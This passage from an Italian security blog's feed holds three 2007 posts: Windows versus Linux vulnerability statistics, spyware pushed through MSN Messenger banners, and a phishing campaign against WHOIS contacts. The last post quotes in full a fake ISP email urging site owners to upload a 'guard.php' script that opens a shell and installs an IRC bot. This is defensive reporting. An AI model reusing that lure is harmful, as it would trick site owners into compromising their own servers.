Da una <a href="http://www.csoonline.com/pdf/Vista_Vuln_Report.pdf">ricerca fatta da Jeff Jones</a>, rilasciata il giorno dopo quella di Symantec, Vista si è dimostrato più sicuro nei 90 giorni successivi al lancio sul mercato rispetto a XP.<br />
Anche in questo documento viene messo a confronto Windows con sistemi come Red Hat Linux (Workstation 4), Ububtu (6.06 TLS), SUSE (Desktop 10) e altri.<br />
Le ricerche di Symantec e di Jones non riportano la lista delle vulnerabilità prese in esame per le loro statistiche, così ho deciso di percorrere a ritroso la lista su Secunia, per <a href="http://secunia.com/product/10611/?task=advisories_2006">Ubuntu</a> le parti interessate sono: mono, gdm, kernel, ruby, gpg, ecc&#8230;<br />
Nella <a href="http://secunia.com/product/22/?task=advisories_2006">lista di Windows XP Pro</a> si trovano (sempre in ordine cronologico inverso):  CSRSS (kernel), NetrWkstaUserEnum (kernel), CSRSS (kernel), Outlook Expres, CSRSS (kernel), ecc&#8230;</p>
<p>Non ci vuole molte a capire che il tipo di vulnerabilità dei due sistemi operativi sono completamente differenti; nella prima lista sono presenti maggiormente funzionalità non facenti parte del Kernel essendo applicazioni di terze parti, la seconda lista invece riporta problemi relativi al kernel di Windows.<br />
Com&#8217;è possibile mettere a confronto un sistema operativo, come Ubuntu, che fornisce nativamente circa 10.000 pacchetti con uno come Windows che ne fornisce si e no 20? </p>
<p>In questa gara non ci sono vincitori, ma solo vinti.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		<title>Malware distribuito con i banner di Msn Messenger Live</title>
		<link>http://www.matteocarli.com/2007/02/malware-distribuito-con-i-banner-di-msn-messenger-live.html</link>
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		<pubDate>Thu, 22 Feb 2007 22:21:12 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Sembra che il sistema dei banner pubblicitari di Microsoft sia stato compromesso e che sia stato sfruttato per inviare, agli utilizzatori di Live Messenger (Msn Messenger), dei banner che inducono ad installare spyware. Il banner incriminato appare per pubblicizzare un link al download di un programma chiamato &#8220;PC-Secure&#8221;. Tutti i banner e le message box [...]]]></description>
			<content:encoded><![CDATA[<p><a class="imagelink" title="PC Secure Malware" href="http://www.matteocarli.com/files/pc-secure_malware.png"><img align="left" title="PC Secure Malware" id="image149" alt="PC Secure Malware" src="http://www.matteocarli.com/files/pc-secure_malware.miniatura.png" /></a>Sembra che il sistema dei banner pubblicitari di Microsoft sia stato compromesso e che sia stato sfruttato per inviare, agli utilizzatori di Live Messenger (Msn Messenger), dei banner che inducono ad installare spyware.</p>
<p>Il banner incriminato appare per pubblicizzare un link al download di un programma chiamato &#8220;PC-Secure&#8221;. Tutti i banner e le message box visualizzate inducono l&#8217;utente ad installare software malware e spyware.<br />
<a class="imagelink" title="Msn Live Messenger Malware Banner" href="http://www.matteocarli.com/files/msn_live_warning.png"><img align="left" title="Msn Live Messenger Malware Banner" id="image148" alt="Msn Live Messenger Malware Banner" src="http://www.matteocarli.com/files/msn_live_warning.miniatura.png" /></a>La finestra, visibile dopo il click sul banner, chiede se si vuole proseguire al download di &#8220;PC-Secure&#8221; oppure no. Essendo studiato per scopi malevoli anche la pressione di &#8220;Cancel&#8221; farà avviare un ActiveX ad hoc. Al momento non c’è soluzione al problema, se dovesse apparire il messaggio l’unica soluzione è chiudere le finestre tramite la classica &#8220;X&#8221;.</p>
<p>I banner in questione non dovrebbero essere visualizzati agli utenti italiani, ma è consigliabile comunque prestare attenzione.</p>
<p>&#8220;Pc-Secure&#8221; è una variante di WinFixer e ErrorSafe, malware e spyware già conosciuti. Per maggiori informazioni su di essi leggere il <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2005-120121-2151-99&#038;tabid=1">bollettino redatto da Symantec</a>. Anche se si tratta di software risalente al 2005 ed ogni anti-virus è in grado di rilevarlo si trovano <a href="http://mc-computing.com/Parasites/WinFixer_parasite.html">guide dettagliate per la rimozione manuale</a>.<br />
Per ulteriori dettagli leggere l&#8217;articolo originale su <a href="http://msmvps.com/blogs/spywaresucks/archive/2007/02/18/591493.aspx">Spyware Sucks</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		<title>Phishing diretto alle e-mail specificate nei WHOIS server</title>
		<link>http://www.matteocarli.com/2007/02/phishing-diretto-alle-e-mail-specificate-nei-whois-server.html</link>
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		<pubDate>Mon, 19 Feb 2007 23:35:13 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Alcuni blog di sicurezza negli ultimi giorni stanno ponendo l&#8217;attenzione su una e-mail, che tramite phishing, si propone come un controllo dell&#8217;ISP che ospitata il proprio dominio. Gli attacker prendendo le e-mail di contatto specificate nei WHOIS dei domini spediscono una richiesta, in inglese, che inivta ad caricare sul proprio spazio uno script in php [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bleedingthreats.net/index.php/2007/02/13/guardzip-phish-very-targeted-sig-available/">Alcuni blog</a> di sicurezza negli ultimi giorni stanno ponendo l&#8217;attenzione su una e-mail, che tramite phishing, si propone come un controllo dell&#8217;ISP che ospitata il proprio dominio.</p>
<p>Gli attacker prendendo le e-mail di contatto specificate nei WHOIS dei domini spediscono una richiesta, in inglese, che inivta ad caricare sul proprio spazio uno script in php (offuscato) che, secondo quanto scoperto dalle prime indagini, raccoglie informazioni sul sistema, apre una shell e installa un bot IRC scritto in Perl.</p>
<p>Solitamente il mittente, falsificato, è il proprio ISP, ma sono state rilevate anche varianti con mittente lo US FDIC (Federal Deposit Insurance Corporation).</p>
<p>I file php allegati che sono stati rilevati fin ora sono:</p>
<ul>
<li><strong>webguard.php</strong>, size 130990 bytes, MD5: 1071956063131f0fd178ace92ab526bb e SHA1: c47dd28e336030e3d940b66e2884aba91124a831</li>
<li><strong>vprotect.php</strong>, size: 156686 bytes, MD5: 43f3c330f6e85943fd4a60c3b89787e2 e SHA1: d58bcb698417cbcf005a0e26e9e962a5097892d9</li>
</ul>
<p>Quello che segue è una delle varianti della mail:</p>
<blockquote><p>Dear #Nome dell&#8217;ISP# valued Members</p>
<p>Regarding our new security regulations, as a part of our yearly maintenance we have provided a security guard script in the attachment.</p>
<p>So, to secure your websites, please use the attached file and (for UNIX/Linux Based servers) upload the file &#8220;guard.php&#8221; in: &#8220;./public_html&#8221;</p>
<p>or (for Windows Based servers which use ASP) upload the file &#8220;guard.asp&#8221; in: &#8220;./wwwroot&#8221; in your site.</p>
<p>If you do not know how to use it, you can use the following instruction:</p>
<p>For Unix/Linux based websites that use PHP/CGI/PERL:<br />
1) Download the attachment named &#8220;guard.zip&#8221;<br />
2) Extract file &#8220;guard.php&#8221;<br />
3) Login to your site Control panel.<br />
4) Open &#8220;File Manager&#8221; window.<br />
5) Go through &#8220;Public_html&#8221; or &#8220;htdocs&#8221;<br />
6) Choose &#8220;Upload Files&#8221;<br />
7) Upload the file &#8220;guard.php&#8221;<br />
 <img src='http://www.matteocarli.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Check its URL too &#8220;http://www.yoursite.com/guard.php&#8221;, if it is ok</p>
<p>For Windows based websites that use ASP:<br />
1) Download the attachment named &#8220;guard.zip&#8221;<br />
2) Extract file &#8220;guard.asp&#8221;<br />
3) Login to your site Control panel.<br />
4) Open &#8220;File Manager&#8221; window.<br />
5) Go through &#8220;wwwroot&#8221; directory<br />
6) Choose &#8220;Upload Files&#8221;<br />
7) Upload the file &#8220;guard.asp&#8221;<br />
 <img src='http://www.matteocarli.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Check its URL too &#8220;http://www.yoursite.com/guard.asp&#8221;, if it is ok</p>
<p>Thank you for using our services and products. We look forward to providing you with a unique and high quality service.</p>
<p>Best Regards</p>
<p>#Nome dell&#8217;ISP#</p></blockquote>
<p>L&#8217;attacco è stato rilevato per la prima volta l&#8217;8 Febbraio 2007 (<a href="http://www.solidspace.com/SMB/NetworkMaintenance.asp">Solid Space</a> &#8211; <a href="http://www.bluehostforum.com/showthread.php?t=5650">Bluehost</a>) mentre i principali blog ne stanno parlando solo negli <a href="http://isc.sans.org/diary.html?storyid=2277">utlimi giorni</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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